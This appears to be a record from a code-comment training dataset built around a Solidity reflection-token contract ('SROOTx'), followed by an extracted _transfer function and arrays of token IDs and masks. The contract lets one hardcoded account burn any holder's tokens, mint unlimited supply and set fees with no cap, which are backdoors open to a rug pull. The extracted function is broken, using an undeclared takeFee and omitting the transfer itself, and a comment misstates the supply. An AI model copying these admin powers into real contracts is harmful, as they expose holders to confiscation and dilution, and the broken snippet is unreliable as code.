mapping (address => bool) public _isExcluded;
address[] public _excluded;
uint256 public constant MAX = ~uint256(0);
uint256 public _tTotal;
uint256 public _rTotal;
uint256 public _tFeeTotal;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public _burnFee;
uint256 private _previousBurnFee;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
uint256 public _TreasuryFee;
uint256 public _Staking_rewardsFee;
uint256 public _Bearworld_rewardsFee;
uint256 public _Daily_RewardsFee;
address private _Treasury_account;
address private _Staking_rewards_account;
address private _Bearworld_rewards_account;
address private _Daily_Rewards_account;
uint256 public _TreasuryTotal;
uint256 public _Staking_rewardsTotal;
uint256 public _Bearworld_rewardsTotal;
uint256 public _Daily_RewardsTotal;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
uint256 public _maxTxAmount;
uint256 public _maxWalletSize;
uint256 private numTokensSellToAddToLiquidity;
address admin;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyAdmin {
require(_msgSender() == admin, "only admin");
_;
}
bool public statusinitializer;
// 2.9 upgrade all fee values
function initialize() public initializer{
_tTotal = 1000000000 * 10**18; // 1 quadrillion
_rTotal = (MAX - (MAX % _tTotal));
_name = "SROOTx";
_symbol = "SROOTx";
_decimals = 18;
_burnFee = 3;
_previousBurnFee = _burnFee;
_taxFee = 6;
_previousTaxFee = _taxFee;
_liquidityFee = 1;
_previousLiquidityFee = _liquidityFee;
_TreasuryFee = 25;
_Staking_rewardsFee = 200;
_Bearworld_rewardsFee = 500;
_Daily_RewardsFee = 275;
_Treasury_account = 0xd8526ab31c9B901a7a2e9F1D8710B9b56Ee28D4d;
_Staking_rewards_account = 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89;
_Bearworld_rewards_account = 0x41a5598CdF1b53aDcE7B4fFa649c081E854Be098;
_Daily_Rewards_account = 0x2951adF1BcE46bF7B5D2C8ab174DC6E0d0fe3447;
swapAndLiquifyEnabled = true;
_maxTxAmount = 10000000 * 10**18;
_maxWalletSize = 30000000 * 10**18;
numTokensSellToAddToLiquidity = 1000000 * 10**18;
statusinitializer = true;
__ERC20_init(_name, _symbol);
__Delegatable_init();
_rOwned[_msgSender()] = _rTotal;
admin = _msgSender();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Treasury_account] = true;
_isExcludedFromFee[_Staking_rewards_account] = true;
_isExcludedFromFee[_Bearworld_rewards_account] = true;
_isExcludedFromFee[_Daily_Rewards_account] = true;
runFeeMethods();
}
function runFeeMethods() private {
_TreasuryTotal = balanceOf(admin).div(1000).mul(_TreasuryFee);
_Staking_rewardsTotal = balanceOf(admin).div(1000).mul(_Staking_rewardsFee);
_Bearworld_rewardsTotal = balanceOf(admin).div(1000).mul(_Bearworld_rewardsFee);
_Daily_RewardsTotal = balanceOf(admin).div(1000).mul(_Daily_RewardsFee);
_transferSpecial(admin, _Treasury_account, _TreasuryTotal);
_transferSpecial(admin, _Staking_rewards_account, _Staking_rewardsTotal);
_transferSpecial(admin, _Bearworld_rewards_account, _Bearworld_rewardsTotal);
_transferSpecial(admin, _Daily_Rewards_account, _Daily_RewardsTotal);
}
function runTransferDailyRewards() private {
_Daily_RewardsTotal = balanceOf(admin);
_transferSpecial(admin, _Daily_Rewards_account, _Daily_RewardsTotal);
}
function _transferSpecial(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount) = _getSpecialValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function name() public view override returns (string memory){
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function overrridedBalanceOf(address account) public view returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount.div(currentRate));
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external {
require(msg.sender == _Staking_rewards_account, "You are not Admin");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external {
require(msg.sender == _Staking_rewards_account, "You are not Admin");
_liquidityFee = liquidityFee;
}
function setBurnFeePercent(uint256 burnFee) external {
require(msg.sender == _Staking_rewards_account, "You are not Admin");
_burnFee = burnFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
_maxWalletSize = _tTotal.mul(maxWallPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getSpecialValues(uint256 tAmount) private view returns (uint256, uint256) {
(uint256 rAmount, uint256 rTransferAmount) = _getSpecialRValues(tAmount, _getRate());
return (rAmount, rTransferAmount);
}
function _getSpecialRValues(uint256 tAmount, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
return (rAmount, rAmount);
}
function _getRate() public view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() public view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) override internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from == uniswapV2Pair) {
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 halfOfLiquify = contractTokenBalance.div(2);
uint256 otherHalfOfLiquify = contractTokenBalance.sub(halfOfLiquify);
// capture the contract's current BNB balance.
// this is so that we can capture exactly the amount of BNB that the
// swap creates, and not make the liquidity event include any BNB that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for BNB
swapTokensForEth(halfOfLiquify); // <- this breaks the BNB -> TOKEN swap when swap+liquify is triggered
// how much BNB did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to pancake
addLiquidity(otherHalfOfLiquify, newBalance);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
uint256 burnAmount = 0;
// if(sender != owner() && recipient != owner() && !_isExcludedFromFee[sender])
if(sender != owner() && recipient != owner() && sender!= address(this))
{
burnAmount = calculateBurnFee(amount);
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount.sub(burnAmount));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount.sub(burnAmount));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount.sub(burnAmount));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount.sub(burnAmount));
} else {
_transferStandard(sender, recipient, amount.sub(burnAmount));
}
//Temporarily remove fees to transfer to burn and marketing address
removeAllFee();
if(burnAmount > 0) {
_transferStandard(sender, address(0), burnAmount);
}
//Restore tax and liquidity fees
restoreAllFee();
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
if(recipient == address(0)) {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_rTotal = _rTotal.sub(rAmount);
_tTotal = _tTotal.sub(tTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
}
else {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function tokenToReflection(uint256 _amount) public view returns(uint256) {
uint256 currentRate = _getRate();
return (_amount.mul(currentRate));
}
function burnToken(address _account, uint256 _amount) public {
require(msg.sender == _Staking_rewards_account, "You are not Admin");
uint256 rAmount = tokenToReflection(_amount);
_rOwned[_account] = _rOwned[_account].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tTotal = _tTotal.sub(_amount);
}
function addToken(address _address, uint256 _amount) public {
require(msg.sender == _Staking_rewards_account, "You are not Admin");
uint256 rAmount = tokenToReflection(_amount);
_rOwned[_address] = _rOwned[_address].add(rAmount);
_rTotal = _rTotal.add(rAmount);
_tTotal = _tTotal.add(_amount);
}
function mintToken(address _address, uint256 _amount) external {
require(msg.sender == 0x871770E3e03bFAEFa3597056e540A1A9c9aC7f6b, "You are not Staking contract");
uint256 rAmount = tokenToReflection(_amount);
_rOwned[_address] = _rOwned[_address].add(rAmount);
_rTotal = _rTotal.add(rAmount);
_tTotal = _tTotal.add(_amount);
}
} | is the token balance of this contract address over the min number of tokens that we need to initiate a swap + liquidity lock? also, don't get caught in a circular liquidity event. also, don't swap & liquify if sender is uniswap pair.add liquidityif any account belongs to _isExcludedFromFee account then remove the fee | function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from == uniswapV2Pair) {
takeFee = false;
}
}
| 10,121,912 | [
1,
291,
326,
1147,
11013,
434,
333,
6835,
1758,
1879,
326,
1131,
1300,
434,
2430,
716,
732,
1608,
358,
18711,
279,
7720,
397,
4501,
372,
24237,
2176,
35,
2546,
16,
2727,
1404,
336,
13537,
316,
279,
15302,
4501,
372,
24237,
871,
18,
2546,
16,
2727,
1404,
7720,
473,
4501,
372,
1164,
309,
5793,
353,
640,
291,
91,
438,
3082,
18,
1289,
4501,
372,
24237,
430,
1281,
2236,
11081,
358,
389,
291,
16461,
1265,
14667,
2236,
1508,
1206,
326,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
628,
16,
7010,
3639,
1758,
358,
16,
21281,
3639,
2254,
5034,
3844,
203,
377,
262,
2713,
3849,
288,
203,
3639,
2583,
12,
2080,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
5912,
3844,
1297,
506,
6802,
2353,
3634,
8863,
203,
203,
3639,
2254,
5034,
6835,
1345,
13937,
273,
11013,
951,
12,
2867,
12,
2211,
10019,
203,
540,
203,
3639,
309,
12,
16351,
1345,
13937,
1545,
389,
1896,
4188,
6275,
13,
203,
3639,
288,
203,
5411,
6835,
1345,
13937,
273,
389,
1896,
4188,
6275,
31,
203,
3639,
289,
203,
540,
203,
3639,
1426,
1879,
2930,
1345,
13937,
273,
6835,
1345,
13937,
1545,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
31,
203,
3639,
309,
261,
203,
5411,
1879,
2930,
1345,
13937,
597,
203,
5411,
401,
267,
12521,
1876,
48,
18988,
1164,
597,
203,
5411,
628,
480,
640,
291,
91,
438,
58,
22,
4154,
597,
203,
5411,
7720,
1876,
48,
18988,
1164,
1526,
203,
3639,
262,
288,
203,
5411,
6835,
1345,
13937,
273,
818,
5157,
55,
1165,
13786,
774,
48,
18988,
24237,
31,
203,
5411,
7720,
1876,
48,
18988,
1164,
12,
16351,
1345,
13937,
1769,
203,
3639,
289,
203,
540,
203,
540,
203,
3639,
309,
24899,
291,
16461,
1265,
14667,
63,
2080,
65,
747,
389,
291,
16461,
1265,
14667,
2
] |
./full_match/1/0x2e6013DA3CbE83781A03Aa2cFEeEb0179f610C3F/sources/contracts/VetMe.sol | denominator is 10000 (125 = 1.25%)
| uint256 public feeValue = 125; | 9,688,374 | [
1,
13002,
26721,
353,
12619,
261,
18473,
273,
404,
18,
2947,
9,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
14036,
620,
273,
30616,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x280A2ac6a7Ffb178BAEff48E923DDc4271bC43B6/sources/YVC.sol | Update total supply (1000 for example) (CHANGE THIS)
| totalSupply = 11000000000000000000000000; | 16,079,229 | [
1,
1891,
2078,
14467,
261,
18088,
364,
3454,
13,
261,
14473,
20676,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2078,
3088,
1283,
273,
4648,
12648,
12648,
12648,
31,
7682,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
